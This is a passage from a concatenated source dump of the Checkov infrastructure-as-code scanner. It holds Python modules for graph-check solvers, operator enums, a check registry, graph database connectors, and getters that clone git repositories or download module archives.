checkov.common.checks_infra.solvers.connections_solvers.base_connection_solver import BaseConnectionSolver from checkov.common.graph.checks_infra.enums import Operators from checkov.common.graph.checks_infra.solvers.base_solver import BaseSolver from checkov.common.checks_infra.solvers.connections_solvers.complex_connection_solver import ComplexConnectionSolver if TYPE_CHECKING: from checkov.common.typing import LibraryGraph class OrConnectionSolver(ComplexConnectionSolver): operator = Operators.OR # noqa: CCE003 # a static attribute def __init__(self, solvers: Optional[List[BaseSolver]], operator: str) -> None: super().__init__(solvers, operator) def get_operation(self, graph_connector: LibraryGraph) -> \ Tuple[List[Dict[str, Any]], List[Dict[str, Any]], List[Dict[str, Any]]]: passed, failed, unknown = self.run_attribute_solvers(graph_connector) connection_solvers = [sub_solver for sub_solver in self.solvers if isinstance(sub_solver, BaseConnectionSolver)] for connection_solver in connection_solvers: connection_solver.set_vertices(graph_connector, [], []) passed_solver, failed_solver, unknown_solver = connection_solver.get_operation(graph_connector) passed.extend(passed_solver) failed.extend(failed_solver) unknown.extend(unknown_solver) passed_path_and_ids = [(ComplexConnectionSolver.get_check_identifier(p)) for p in passed] unknown_path_and_ids = [(ComplexConnectionSolver.get_check_identifier(u)) for u in unknown] unknown = [u for u in unknown if (ComplexConnectionSolver.get_check_identifier(u)) not in passed_path_and_ids] failed = [f for f in failed if (ComplexConnectionSolver.get_check_identifier(f)) not in itertools.chain(passed_path_and_ids, unknown_path_and_ids)] return self.filter_results(passed, failed, unknown) ================================================ FILE: checkov/common/checks_infra/solvers/filter_solvers/__init__.py ================================================ from checkov.common.checks_infra.solvers.filter_solvers.within_filter_solver import WithinFilterSolver # noqa ================================================ FILE: checkov/common/checks_infra/solvers/filter_solvers/base_filter_solver.py ================================================ from __future__ import annotations from typing import Any, Callable, TYPE_CHECKING, Tuple, List, Dict, Optional from checkov.common.graph.checks_infra.enums import SolverType from checkov.common.graph.checks_infra.solvers.base_solver import BaseSolver if TYPE_CHECKING: from checkov.common.typing import LibraryGraph class BaseFilterSolver(BaseSolver): def __init__(self, resource_types: List[str], attribute: Optional[str], value: Any) -> None: super().__init__(SolverType.FILTER) self.resource_types = resource_types self.attribute = attribute self.value = value self.vertices: List[Dict[str, Any]] = [] def get_operation(self, *args: Any, **kwargs: Any) -> bool: raise NotImplementedError() def _get_operation(self, *args: Any, **kwargs: Any) -> Callable[..., bool]: raise NotImplementedError() def run(self, graph_connector: LibraryGraph) -> Tuple[List[Dict[str, Any]], List[Dict[str, Any]], List[Dict[str, Any]]]: raise NotImplementedError() ================================================ FILE: checkov/common/checks_infra/solvers/filter_solvers/within_filter_solver.py ================================================ from typing import Any, Callable, List, Dict from checkov.common.graph.checks_infra.enums import Operators from checkov.common.checks_infra.solvers.filter_solvers.base_filter_solver import BaseFilterSolver class WithinFilterSolver(BaseFilterSolver): operator = Operators.WITHIN # noqa: CCE003 # a static attribute def __init__(self, resource_types: List[str], attribute: str, value: Any) -> None: super().__init__(resource_types=resource_types, attribute=attribute, value=value) def get_operation(self, *args: Any, **kwargs: Any) -> bool: return self._get_operation()(*args) def _get_operation(self, *args: Any, **kwargs: Any) -> Callable[..., bool]: def op(check: Dict[str, Any]) -> bool: if not self.attribute: return False val = check.get(self.attribute) return bool(val) and (val in self.value) return op ================================================ FILE: checkov/common/checks_infra/solvers/resource_solvers/__init__.py ================================================ from checkov.common.checks_infra.solvers.resource_solvers.not_exists_resource_solver import ExistsResourcerSolver # noqa from checkov.common.checks_infra.solvers.resource_solvers.not_exists_resource_solver import NotExistsResourcerSolver # noqa ================================================ FILE: checkov/common/checks_infra/solvers/resource_solvers/base_resource_solver.py ================================================ from __future__ import annotations from abc import abstractmethod from typing import Any, Callable, TYPE_CHECKING from networkx import DiGraph import concurrent.futures from concurrent.futures import ThreadPoolExecutor from checkov.common.graph.checks_infra.enums import SolverType from checkov.common.graph.checks_infra.solvers.base_solver import BaseSolver from checkov.common.graph.graph_builder import CustomAttributes if TYPE_CHECKING: from checkov.common.typing import LibraryGraph class BaseResourceSolver(BaseSolver): def __init__(self, resource_types: list[str]) -> None: super().__init__(SolverType.RESOURCE) self.resource_types = resource_types self.vertices: list[dict[str, Any]] = [] self._passed_vertices: list[dict[str, Any]] = [] self._failed_vertices: list[dict[str, Any]] = [] self._unknown_vertices: list[dict[str, Any]] = [] @abstractmethod def get_operation(self, resource_type: str) -> bool: raise NotImplementedError() def _get_operation(self, *args: Any, **kwargs: Any) -> Callable[..., bool]: # not needed return lambda: True @abstractmethod def _handle_result(self, result: bool, data: dict[str, str]) -> None: raise NotImplementedError() def run( self, graph_connector: LibraryGraph ) -> tuple[list[dict[str, Any]], list[dict[str, Any]], list[dict[str, Any]]]: executer = ThreadPoolExecutor() jobs = [] if isinstance(graph_connector, DiGraph): for _, data in graph_connector.nodes(data=True): jobs.append(executer.submit(self._process_node, data)) concurrent.futures.wait(jobs) return self._passed_vertices, self._failed_vertices, self._unknown_vertices for _, data in graph_connector.nodes(): result = self.get_operation(resource_type=str(data.get(CustomAttributes.RESOURCE_TYPE))) self._handle_result(result, data) return self._passed_vertices, self._failed_vertices, self._unknown_vertices def _process_node(self, data: dict[str, str]) -> None: result = self.get_operation(data.get(CustomAttributes.RESOURCE_TYPE)) # type:ignore[arg-type] # A None indicate for UNKNOWN result - the vertex shouldn't be added to the passed or the failed vertices self._handle_result(result, data) ================================================ FILE: checkov/common/checks_infra/solvers/resource_solvers/exists_resource_solver.py ================================================ from __future__ import annotations from checkov.common.graph.checks_infra.enums import Operators from checkov.common.checks_infra.solvers.resource_solvers.base_resource_solver import BaseResourceSolver class ExistsResourcerSolver(BaseResourceSolver): operator = Operators.EXISTS # noqa: CCE003 # a static attribute def get_operation(self, resource_type: str | None) -> bool: return resource_type in self.resource_types def _handle_result(self, result: bool, data: dict[str, str]) -> None: # The exists operator means that all resources that are not in the allowlist should fail, # and existed resources that are in the allowlist should pass, as they are the only resources allowed if result: self._passed_vertices.append(data) else: self._failed_vertices.append(data) ================================================ FILE: checkov/common/checks_infra/solvers/resource_solvers/not_exists_resource_solver.py ================================================ from __future__ import annotations from checkov.common.checks_infra.solvers.resource_solvers.exists_resource_solver import ExistsResourcerSolver from checkov.common.graph.checks_infra.enums import Operators class NotExistsResourcerSolver(ExistsResourcerSolver): operator = Operators.NOT_EXISTS # noqa: CCE003 # a static attribute def get_operation(self, resource_type: str | None) -> bool: return not super().get_operation(resource_type) def _handle_result(self, result: bool, data: dict[str, str]) -> None: # The not_exists operator means that all resources that are not in the denylist should be ignored, # and existed resources that are in the denylist should fail if result: self._unknown_vertices.append(data) else: self._failed_vertices.append(data) ================================================ FILE: checkov/common/comment/__init__.py ================================================ ================================================ FILE: checkov/common/comment/enum.py ================================================ import re COMMENT_REGEX = re.compile(r'(checkov:skip=|bridgecrew:skip=|cortex:skip=) *([A-Za-z_\d]+(?:,[A-Za-z_\d]+)*)?(:[^\n]*)?') ================================================ FILE: checkov/common/goget/__init__.py ================================================ ================================================ FILE: checkov/common/goget/base_getter.py ================================================ from __future__ import annotations import os import uuid from abc import abstractmethod class BaseGetter: def __init__(self, url: str) -> None: self.url = url self.temp_dir = "" def get(self) -> str: current_directory = os.getcwd() final_directory = os.path.join(current_directory, str((uuid.uuid4()))[:8] + "_checks") if not os.path.exists(final_directory): os.makedirs(final_directory) self.temp_dir = final_directory return self.do_get() @abstractmethod def do_get(self) -> str: raise NotImplementedError() ================================================ FILE: checkov/common/goget/github/__init__.py ================================================ ================================================ FILE: checkov/common/goget/github/get_git.py ================================================ from __future__ import annotations import logging import re import shutil from checkov.common.goget.base_getter import BaseGetter from checkov.common.resource_code_logger_filter import add_resource_code_filter_to_logger from checkov.common.util.contextmanagers import temp_environ from checkov.common.util.env_vars_config import env_vars_config try: from git import Repo git_import_error = None except ImportError as e: git_import_error = e COMMIT_ID_PATTERN = re.compile(r"\?(ref=)(?P([0-9a-f]{5,40}))") TAG_PATTERN = re.compile(r'\?(ref=)(?P(.*))') # technically should be with ?ref=tags/ but this catches both BRANCH_PATTERN = re.compile(r'\?(ref=heads/)(?P(.*))') class GitGetter(BaseGetter): def __init__(self, url: str, create_clone_and_result_dirs: bool = True) -> None: self.logger = logging.getLogger(__name__) add_resource_code_filter_to_logger(self.logger) self.create_clone_and_res_dirs = create_clone_and_result_dirs self.tag = '' self.commit_id: str | None = None self.branch = '' if "?ref" in url: url = self.extract_git_ref(url=url) super().__init__(url) def extract_git_ref(self, url: str) -> str: search_branch = re.search(BRANCH_PATTERN, url) if search_branch: self.branch = search_branch.group("branch") # remove heads/ from ref= to get actual branch name # self.branch = re.sub('heads.*/', '', url) url = re.sub(BRANCH_PATTERN, '', url) return url search_commit_id = re.search(COMMIT_ID_PATTERN, url) if search_commit_id: self.commit_id = search_commit_id.group("commit_id") url = re.sub(COMMIT_ID_PATTERN, '', url) return url search_tag = re.search(TAG_PATTERN, url) if search_tag: self.tag = search_tag.group("tag") # remove tag/ or tags/ from ref= to get actual branch name self.tag = re.sub('tag.*/', '', self.tag) url = re.sub(TAG_PATTERN, '', url) return url self.logger.info("Module URL has an unknown ref") return url def do_get(self) -> str: if git_import_error is not None: raise ImportError("Unable to load git module (is the git executable available?)") \ from git_import_error git_url, internal_dir = self._source_subdir() clone_dir = self.temp_dir + "/clone/" if self.create_clone_and_res_dirs else self.temp_dir self._clone(git_url, clone_dir) if self.create_clone_and_res_dirs: result_dir = self.temp_dir + "/result/" shutil.copytree(clone_dir, result_dir) return result_dir return clone_dir def _clone(self, git_url: str, clone_dir: str) -> None: self.logger.info(f"cloning {git_url} to {clone_dir}") with temp_environ(GIT_TERMINAL_PROMPT="0"): # disables user prompts originating from GIT if env_vars_config.PROXY_URL: self.logger.info(f'Performing clone through proxy - {env_vars_config.PROXY_URL}') with temp_environ(GIT_SSL_CAINFO=env_vars_config.PROXY_CA_PATH, https_proxy=env_vars_config.PROXY_URL, GIT_CONFIG_PARAMETERS=f"'http.extraHeader={env_vars_config.PROXY_HEADER_KEY}:{env_vars_config.PROXY_HEADER_VALUE}'"): self._clone_helper(clone_dir, git_url) return ca_bundle = env_vars_config.BC_CA_BUNDLE if ca_bundle: self.logger.info(f'Using custom CA bundle from BC_CA_BUNDLE: {ca_bundle}') with temp_environ(GIT_SSL_CAINFO=ca_bundle): self._clone_helper(clone_dir, git_url) return self._clone_helper(clone_dir, git_url) def _clone_helper(self, clone_dir: str, git_url: str) -> None: if self.branch: Repo.clone_from(git_url, clone_dir, branch=self.branch, depth=1) # depth=1 for shallow clone elif self.commit_id: # no commit id support for branch repo = Repo.clone_from(git_url, clone_dir, no_checkout=True) # need to be a full git clone repo.git.checkout(self.commit_id) elif self.tag: Repo.clone_from(git_url, clone_dir, depth=1, b=self.tag) else: Repo.clone_from(git_url, clone_dir, depth=1) # Split source url into Git url and subdirectory path e.g. test.com/repo//repo/subpath becomes 'test.com/repo', '/repo/subpath') # Also see reference implementation @ go-getter https://github.com/hashicorp/go-getter/blob/main/source.go def _source_subdir(self) -> tuple[str, str]: stop = len(self.url) query_index = self.url.find("?") if query_index > -1: stop = query_index start = 0 scheme_index = self.url.find("://", start, stop) if scheme_index > -1: start = scheme_index + 3 subdir_index = self.url.find("//", start, stop) if subdir_index == -1: return self.url, "" internal_dir = self.url[subdir_index + 1:stop] # Note: Internal dir is expected to start with / git_url = self.url[:subdir_index] + self.url[stop:] return git_url, internal_dir ================================================ FILE: checkov/common/goget/registry/__init__.py ================================================ ================================================ FILE: checkov/common/goget/registry/get_registry.py ================================================ import logging import requests import os from checkov.common.goget.base_getter import BaseGetter from checkov.common.resource_code_logger_filter import add_resource_code_filter_to_logger from checkov.common.util.file_utils import extract_tar_archive from checkov.common.util.file_utils import extract_zip_archive from checkov.common.util.http_utils import DEFAULT_TIMEOUT class RegistryGetter(BaseGetter): def __init__(self, url: str, extension: str, create_clone_and_result_dirs: bool = False) -> None: self.logger = logging.getLogger(__name__) add_resource_code_filter_to_logger(self.logger) self.extension = extension self.create_clone_and_res_dirs = create_clone_and_result_dirs super().__init__(url) def do_get(self) -> str: # get dest dir download_path = os.path.join(self.temp_dir, f'module_source.{self.extension}') # download zip dest_path = os.path.dirname(download_path) with requests.get(self.url, stream=True, timeout=DEFAULT_TIMEOUT) as r: r.raise_for_status() os.makedirs(dest_path, exist_ok=True) with open(download_path, 'wb+') as f: for chunk in r.iter_content(chunk_size=8192): f.write(chunk) # extract if self.extension == 'zip': extract_zip_archive(source_path=download_path, dest_path=dest_path) else: extract_tar_archive(source_path=download_path, dest_path=dest_path) os.remove(download_path) return dest_path ================================================ FILE: checkov/common/graph/__init__.py ================================================ ================================================ FILE: checkov/common/graph/checks_infra/__init__.py ================================================ ================================================ FILE: checkov/common/graph/checks_infra/base_check.py ================================================ from __future__ import annotations import itertools from typing import Optional, Tuple, List, Dict, Any, TYPE_CHECKING from checkov.common.graph.checks_infra.enums import SolverType from checkov.common.graph.checks_infra.solvers.base_solver import BaseSolver if TYPE_CHECKING: from checkov.common.bridgecrew.severities import Severity from networkx import DiGraph class BaseGraphCheck: def __init__(self) -> None: self.id = "" self.bc_id = None self.name = "" self.category = "" self.resource_types: List[str] = [] self.connected_resources_types: List[str] = [] self.operator = "" self.attribute: Optional[str] = None self.attribute_value: Optional[str] = None self.sub_checks: List["BaseGraphCheck"] = [] self.type: Optional[SolverType] = None self.solver: Optional[BaseSolver] = None self.guideline: Optional[str] = None self.benchmarks: Dict[str, List[str]] = {} self.severity: Optional[Severity] = None self.bc_category: Optional[str] = None self.frameworks: List[str] = [] self.is_jsonpath_check: bool = False self.check_path: str = "" def set_solver(self, solver: BaseSolver) -> None: self.solver = solver def run(self, graph_connector: DiGraph) -> Tuple[List[Dict[str, Any]], List[Dict[str, Any]], List[Dict[str, Any]]]: if not self.solver: raise AttributeError("solver attribute was not set") return self.solver.run(graph_connector=graph_connector) def get_output_id(self, use_bc_ids: bool) -> str: return self.bc_id if self.bc_id and use_bc_ids else self.id def get_evaluated_keys(self) -> List[str]: if self.sub_checks: return list(set(itertools.chain.from_iterable(check.get_evaluated_keys() for check in self.sub_checks))) return ["/".join(self.attribute.split('.'))] if self.attribute else [] ================================================ FILE: checkov/common/graph/checks_infra/base_parser.py ================================================ from __future__ import annotations from typing import Dict, Any from checkov.common.graph.checks_infra.base_check import BaseGraphCheck class BaseGraphCheckParser: def validate_check_config(self, file_path: str, raw_check: dict[str, dict[str, Any]]) -> bool: """Validates the graph check config""" return True def parse_raw_check(self, raw_check: Dict[str, Dict[str, Any]], **kwargs: Any) -> BaseGraphCheck: raise NotImplementedError ================================================ FILE: checkov/common/graph/checks_infra/debug.py ================================================ from __future__ import annotations import json import logging from collections.abc import Iterable from typing import Any, TYPE_CHECKING import yaml from termcolor import colored from checkov.common.graph.graph_builder import CustomAttributes from checkov.common.resource_code_logger_filter import add_resource_code_filter_to_logger from checkov.common.util.env_vars_config import env_vars_config if TYPE_CHECKING: from checkov.common.graph.checks_infra.solvers.base_solver import BaseSolver logger = logging.getLogger(__name__) add_resource_code_filter_to_logger(logger) def graph_check(check_id: str, check_name: str) -> None: if not env_vars_config.EXPERIMENTAL_GRAPH_DEBUG: return print(f'\nEvaluating graph policy: "{check_id}" - "{check_name}"') def resource_types(resource_types: Iterable[str], resource_count: int, operator: str) -> None: if not env_vars_config.EXPERIMENTAL_GRAPH_DEBUG: return resource_types_str = '", "'.join(resource_types) print( f'\nFound {resource_count} resources with resource types: "{resource_types_str}" to check against operator: "{operator}"' ) def attribute_block( resource_types: Iterable[str], attribute: str | None, operator: str, value: str | list[str] | None, resource: dict[str, Any], status: str, ) -> None: if not env_vars_config.EXPERIMENTAL_GRAPH_DEBUG: return attribute_block_conf = _create_attribute_block( resource_types=resource_types, attribute=attribute, operator=operator, value=value ) color = "green" if status == "passed" else "red" print("\nEvaluated block:\n") print(colored(yaml.dump([attribute_block_conf], sort_keys=False), "blue")) print("and got:") print(colored(f'\nResource "{resource[CustomAttributes.ID]}" {status}:', color)) print(colored(json.dumps(resource[CustomAttributes.CONFIG], indent=2), "yellow")) def connection_block( resource_types: Iterable[str], connected_resource_types: Iterable[str], operator: str, passed_resources: list[dict[str, Any]], failed_resources: list[dict[str, Any]], ) -> None: if not env_vars_config.EXPERIMENTAL_GRAPH_DEBUG: return connection_block_conf = _create_connection_block( resource_types=resource_types, connected_resource_types=connected_resource_types, operator=operator, ) passed_resources_str = '", "'.join(resource[CustomAttributes.ID] for resource in passed_resources) failed_resources_str = '", "'.join(resource[CustomAttributes.ID] for resource in failed_resources) print("\nEvaluated blocks:\n") print(colored(yaml.dump([connection_block_conf], sort_keys=False), "blue")) print("and got:\n") print(colored(f'Passed resources: "{passed_resources_str}"', "green")) print(colored(f'Failed resources: "{failed_resources_str}"', "red")) def complex_connection_block( solvers: list[BaseSolver], operator: str, passed_resources: list[dict[str, Any]], failed_resources: list[dict[str, Any]], ) -> None: if not env_vars_config.EXPERIMENTAL_GRAPH_DEBUG: return # to prevent circular dependencies from checkov.common.checks_infra.solvers.attribute_solvers.base_attribute_solver import BaseAttributeSolver from checkov.common.checks_infra.solvers.complex_solvers.base_complex_solver import BaseComplexSolver from checkov.common.checks_infra.solvers.connections_solvers.base_connection_solver import BaseConnectionSolver from checkov.common.checks_infra.solvers.connections_solvers.complex_connection_solver import ( ComplexConnectionSolver, ) from checkov.common.checks_infra.solvers.filter_solvers.base_filter_solver import BaseFilterSolver complex_connection_block = [] for solver in solvers: if isinstance(solver, BaseAttributeSolver): block = _create_attribute_block( resource_types=solver.resource_types, attribute=solver.attribute, operator=solver.operator, value=solver.value, ) elif isinstance(solver, BaseFilterSolver): block = _create_filter_block(attribute=solver.attribute, operator=solver.operator, value=solver.value) elif isinstance(solver, (ComplexConnectionSolver, BaseComplexSolver)): # ComplexConnectionSolver check needs to be before BaseConnectionSolver, because it is a subclass block = {solver.operator: ["..." for _ in solver.solvers]} elif isinstance(solver, BaseConnectionSolver): block = _create_connection_block( resource_types=solver.resource_types, connected_resource_types=solver.connected_resources_types, operator=solver.operator, ) else: logger.info(f"Unsupported solver type {type(solver)} found") continue complex_connection_block.append(block) passed_resources_str = '", "'.join(resource[CustomAttributes.ID] for resource in passed_resources) failed_resources_str = '", "'.join(resource[CustomAttributes.ID] for resource in failed_resources) print("\nEvaluated blocks:\n") print(colored(yaml.dump([{operator: complex_connection_block}], sort_keys=False), "blue")) print("and got:\n") print(colored(f'Passed resources: "{passed_resources_str}"', "green")) print(colored(f'Failed resources: "{failed_resources_str}"', "red")) def _create_attribute_block( resource_types: Iterable[str], attribute: str | None, operator: str, value: str | list[str] | None ) -> dict[str, Any]: attribute_block_conf = { "cond_type": "attribute", "resource_types": resource_types, "attribute": attribute, "operator": operator, } if value is not None: attribute_block_conf["value"] = value return attribute_block_conf def _create_connection_block( resource_types: Iterable[str], connected_resource_types: Iterable[str], operator: str ) -> dict[str, Any]: attribute_block_conf = { "cond_type": "connection", "resource_types": resource_types, "connected_resource_types": connected_resource_types, "operator": operator, } return attribute_block_conf def _create_filter_block(attribute: str | None, operator: str, value: str | list[str]) -> dict[str, Any]: attribute_block_conf = { "cond_type": "filter", "attribute": attribute, "operator": operator, "value": value, } return attribute_block_conf ================================================ FILE: checkov/common/graph/checks_infra/enums.py ================================================ from enum import Enum class SolverType(str, Enum): # A solver is a class that resolves YAML syntax into a graph query # It can have the following types: ATTRIBUTE = "ATTRIBUTE" # An attribute query, i.e. id equals 3 COMPLEX = "COMPLEX" # A combination of queries, i.e. AND CONNECTION = "CONNECTION" # A connection between two entities, i.e. ec2 instance connected to security group # TODO: merge with COMPLEX COMPLEX_CONNECTION = "COMPLEX_CONNECTION" # A combination of CONNECTION solver and any other solver FILTER = "FILTER" # Filters results according to specific value / type, i.e. resource type is aws_s3_bucket RESOURCE = "RESOURCE" # Used to define allow/deny lists of resource types class Operators: ANY = 'any' EXISTS = 'exists' ONE_EXISTS = 'one_exists' NOT_EXISTS = 'not_exists' CONTAINS = 'contains' NOT_CONTAINS = 'not_contains' ENDING_WITH = 'ending_with' NOT_ENDING_WITH = 'not_ending_with' EQUALS = 'equals' NOT_EQUALS = 'not_equals' REGEX_MATCH = 'regex_match' NOT_REGEX_MATCH = 'not_regex_match' GREATER_THAN = 'greater_than' GREATER_THAN_OR_EQUAL = 'greater_than_or_equal' LESS_THAN = 'less_than' LESS_THAN_OR_EQUAL = 'less_than_or_equal' STARTING_WITH = 'starting_with' NOT_STARTING_WITH = 'not_starting_with' SUBSET = 'subset' NOT_SUBSET = 'not_subset' WITHIN = 'within' NOT_WITHIN = 'not_within' AND = 'and' OR = 'or' NOT = 'not' JSONPATH_EQUALS = 'jsonpath_equals' JSONPATH_NOT_EQUALS = 'jsonpath_not_equals' JSONPATH_EXISTS = 'jsonpath_exists' JSONPATH_NOT_EXISTS = 'jsonpath_not_exists' IS_EMPTY = 'is_empty' IS_NOT_EMPTY = 'is_not_empty' LENGTH_EQUALS = 'length_equals' LENGTH_NOT_EQUALS = 'length_not_equals' LENGTH_GREATER_THAN = 'length_greater_than' LENGTH_GREATER_THAN_OR_EQUAL = 'length_greater_than_or_equal' LENGTH_LESS_THAN = 'length_less_than' LENGTH_LESS_THAN_OR_EQUAL = 'length_less_than_or_equal' IS_TRUE = 'is_true' IS_FALSE = 'is_false' INTERSECTS = 'intersects' NOT_INTERSECTS = 'not_intersects' EQUALS_IGNORE_CASE = 'equals_ignore_case' NOT_EQUALS_IGNORE_CASE = 'not_equals_ignore_case' RANGE_INCLUDES = 'range_includes' RANGE_NOT_INCLUDES = 'range_not_includes' NUMBER_OF_WORDS_EQUALS = 'number_of_words_equals' NUMBER_OF_WORDS_NOT_EQUALS = 'number_of_words_not_equals' NUMBER_OF_WORDS_GREATER_THAN = 'number_of_words_greater_than' NUMBER_OF_WORDS_GREATER_THAN_OR_EQUAL = 'number_of_words_greater_than_or_equal' NUMBER_OF_WORDS_LESS_THAN = 'number_of_words_less_than' NUMBER_OF_WORDS_LESS_THAN_OR_EQUAL = 'number_of_words_less_than_or_equal' CIDR_RANGE_SUBSET = 'cidr_range_subset' CIDR_RANGE_NOT_SUBSET = 'cidr_range_not_subset' ================================================ FILE: checkov/common/graph/checks_infra/registry.py ================================================ from __future__ import annotations import concurrent.futures import logging from typing import Any, TYPE_CHECKING from checkov.common.graph.checks_infra import debug from checkov.common.models.enums import CheckResult from checkov.runner_filter import RunnerFilter if TYPE_CHECKING: from checkov.common.graph.checks_infra.base_check import BaseGraphCheck from checkov.common.graph.checks_infra.base_parser import BaseGraphCheckParser from checkov.common.typing import _CheckResult, LibraryGraph class BaseRegistry: def __init__(self, parser: BaseGraphCheckParser) -> None: self.checks: "list[BaseGraphCheck]" = [] self.parser = parser def load_checks(self) -> None: raise NotImplementedError def run_checks( self, graph_connector: LibraryGraph, runner_filter: RunnerFilter, report_type: str ) -> dict[BaseGraphCheck, list[_CheckResult]]: check_results: "dict[BaseGraphCheck, list[_CheckResult]]" = {} checks_to_run = [c for c in self.checks if runner_filter.should_run_check(c, report_type=report_type)] with concurrent.futures.ThreadPoolExecutor() as executor: concurrent.futures.wait( [executor.submit(self.run_check_parallel, check, check_results, graph_connector) for check in checks_to_run] ) return check_results def run_check_parallel( self, check: BaseGraphCheck, check_results: dict[BaseGraphCheck, list[_CheckResult]], graph_connector: LibraryGraph ) -> None: logging.debug(f'Running graph check: {check.id}') debug.graph_check(check_id=check.id, check_name=check.name) passed, failed, unknown = check.run(graph_connector) evaluated_keys = check.get_evaluated_keys() check_result = self._process_check_result(passed, [], CheckResult.PASSED, evaluated_keys) check_result = self._process_check_result(failed, check_result, CheckResult.FAILED, evaluated_keys) check_result = self._process_check_result(unknown, check_result, CheckResult.UNKNOWN, evaluated_keys) check_results[check] = check_result @staticmethod def _process_check_result( results: list[dict[str, Any]], processed_results: list[_CheckResult], result: CheckResult, evaluated_keys: list[str], ) -> list[_CheckResult]: for vertex in results: processed_results.append({"result": result, "entity": vertex, "evaluated_keys": evaluated_keys}) return processed_results ================================================ FILE: checkov/common/graph/checks_infra/solvers/__init__.py ================================================ ================================================ FILE: checkov/common/graph/checks_infra/solvers/base_solver.py ================================================ from __future__ import annotations from abc import abstractmethod from typing import Tuple, List, Dict, Any, TYPE_CHECKING from checkov.common.graph.checks_infra.enums import SolverType from checkov.common.graph.graph_builder import CustomAttributes from checkov.common.util.env_vars_config import env_vars_config if TYPE_CHECKING: from networkx import DiGraph # Based on the resource names in iac frameworks AWS_KEYS = ['aws_', 'AWS::', 'aws-'] GCP_KEYS = ['gcloud', 'google_'] AZURE_KEYS = ['azurerm_', 'Microsoft.'] class BaseSolver: operator = "" # noqa: CCE003 # a static attribute def __init__(self, solver_type: SolverType) -> None: self.solver_type = solver_type self.providers: List[str] = [] @abstractmethod def get_operation(self, *args: Any, **kwargs: Any) -> Any: raise NotImplementedError() @abstractmethod def _get_operation(self, *args: Any, **kwargs: Any) -> Any: raise NotImplementedError() @abstractmethod def run(self, graph_connector: DiGraph) -> Tuple[List[Dict[str, Any]], List[Dict[str, Any]], List[Dict[str, Any]]]: raise NotImplementedError() def resource_type_pred(self, v: Dict[str, Any], resource_types: List[str]) -> bool: resource_type = CustomAttributes.RESOURCE_TYPE if env_vars_config.CKV_SUPPORT_ALL_RESOURCE_TYPE: is_all_resources = isinstance(resource_types, list) and resource_types[0].lower() == "all" resource_type_match_provider = self.resource_match_provider(v.get(resource_type, '')) support_all_resources = bool(resource_type in v and is_all_resources and v.get(resource_type) != 'module' and resource_type_match_provider) return not resource_types or support_all_resources return not resource_types or (resource_type in v and v[resource_type] in resource_types) def resource_match_provider(self, resource_type: str) -> bool: if not self.providers: return True for provider in self.providers: if provider.lower() == 'aws': if any(resource_type.startswith(key) for key in AWS_KEYS): return True elif provider.lower() == 'gcp': if any(resource_type.startswith(key) for key in GCP_KEYS): return True elif provider.lower() == 'azure': if any(resource_type.startswith(key) for key in AZURE_KEYS): return True else: # if we don't have a provider or the provider was not one of the basic providers return True return False ================================================ FILE: checkov/common/graph/db_connectors/__init__.py ================================================ ================================================ FILE: checkov/common/graph/db_connectors/db_connector.py ================================================ from __future__ import annotations from abc import ABC, abstractmethod from typing import TYPE_CHECKING, TypeVar, Generic if TYPE_CHECKING: from checkov.common.graph.graph_builder.graph_components.blocks import Block # noqa from checkov.common.graph.graph_builder.local_graph import LocalGraph T = TypeVar("T") _Block = TypeVar("_Block", bound="Block") class DBConnector(ABC, Generic[T]): @abstractmethod def save_graph(self, local_graph: LocalGraph[_Block]) -> T: pass @abstractmethod def get_reader_endpoint(self) -> T: pass @abstractmethod def get_writer_endpoint(self) -> T: pass @abstractmethod def disconnect(self) -> None: pass ================================================ FILE: checkov/common/graph/db_connectors/networkx/__init__.py ================================================ ================================================ FILE: checkov/common/graph/db_connectors/networkx/networkx_db_connector.py ================================================ from __future__ import annotations from typing import TYPE_CHECKING, TypeVar import networkx as nx from checkov.common.graph.db_connectors.db_connector import DBConnector from checkov.common.graph.graph_builder import CustomAttributes if TYPE_CHECKING: from checkov.common.graph.graph_builder.graph_components.blocks import Block # noqa from checkov.common.graph.graph_builder.local_graph import LocalGraph _Block = TypeVar("_Block", bound="Block") class NetworkxConnector(DBConnector[nx.DiGraph]): def __init__(self) -> None: self.graph = nx.DiGraph() def save_graph(self, local_graph: LocalGraph[_Block], add_bulk_edges: bool = False) -> nx.DiGraph: return self.networkx_from_local_graph(local_graph) def get_reader_endpoint(self) -> nx.DiGraph: return self.graph def get_writer_endpoint(self) -> nx.DiGraph: return self.graph def networkx_from_local_graph(self, local_graph: LocalGraph[_Block]) -> nx.DiGraph: self.graph = nx.DiGraph() vertices_attributes = [v.get_attribute_dict() for v in local_graph.vertices] vertices_to_add = [(attr[CustomAttributes.HASH], attr) for attr in vertices_attributes] edges_to_add = [ ( vertices_attributes[e.origin][CustomAttributes.HASH], vertices_attributes[e.dest][CustomAttributes.HASH], {"label": e.label}, ) for e in local_graph.edges ] self.graph.add_nodes_from(vertices_to_add) self.graph.add_edges_from(edges_to_add) return self.graph def disconnect(self) -> None: # not used, but is an abstractmethod return None ================================================ FILE: checkov/common/graph/db_connectors/rustworkx/__init__.py ================================================ ================================================ FILE: checkov/common/graph/db_connectors/rustworkx/rustworkx_db_connector.py ================================================ from __future__ import annotations from typing import TYPE_CHECKING, TypeVar, Any # noqa from rustworkx import PyDiGraph from checkov.common.graph.db_connectors.db_connector import DBConnector from checkov.common.typing import _RustworkxGraph if TYPE_CHECKING: from checkov.common.graph.graph_builder.graph_components.blocks import Block # noqa from checkov.common.graph.graph_builder.local_graph import LocalGraph _Block = TypeVar("_Block", bound="Block") class RustworkxConnector(DBConnector[_RustworkxGraph]): def __init__(self) -> None: self.graph: _RustworkxGraph = PyDiGraph() def save_graph(self, local_graph: LocalGraph[_Block], add_bulk_edges: bool = False) -> _RustworkxGraph: return self.rustworkx_from_local_graph(local_graph) def get_reader_endpoint(self) -> _RustworkxGraph: return self.graph def get_writer_endpoint(self) -> _RustworkxGraph: return self.graph def rustworkx_from_local_graph(self, local_graph: LocalGraph[_Block]) -> _RustworkxGraph: self.graph = PyDiGraph() vertices_to_add = [] for index, vertex in enumerate(local_graph.vertices): attr = vertex.get_attribute_dict() vertices_to_add.append((index, attr)) edges_to_add: list[tuple[int, int, dict[str, str | int]]] = [ ( e.origin, e.dest, {"label": e.label, "source": e.origin, "target": e.dest}, ) for e in local_graph.edges ] self.graph.add_nodes_from(vertices_to_add) self.graph.add_edges_from(edges_to_add) return self.graph def disconnect(self) -> None: # not used, but is an abstractmethod return None ================================================ FILE: checkov/common/graph/graph_builder/__init__.py ================================================ from .graph_components.edge import * # noqa from .graph_components.attribute_names import * # noqa ================================================ FILE: checkov/common/graph/graph_builder/consts.py ================================================ from enum import Enum 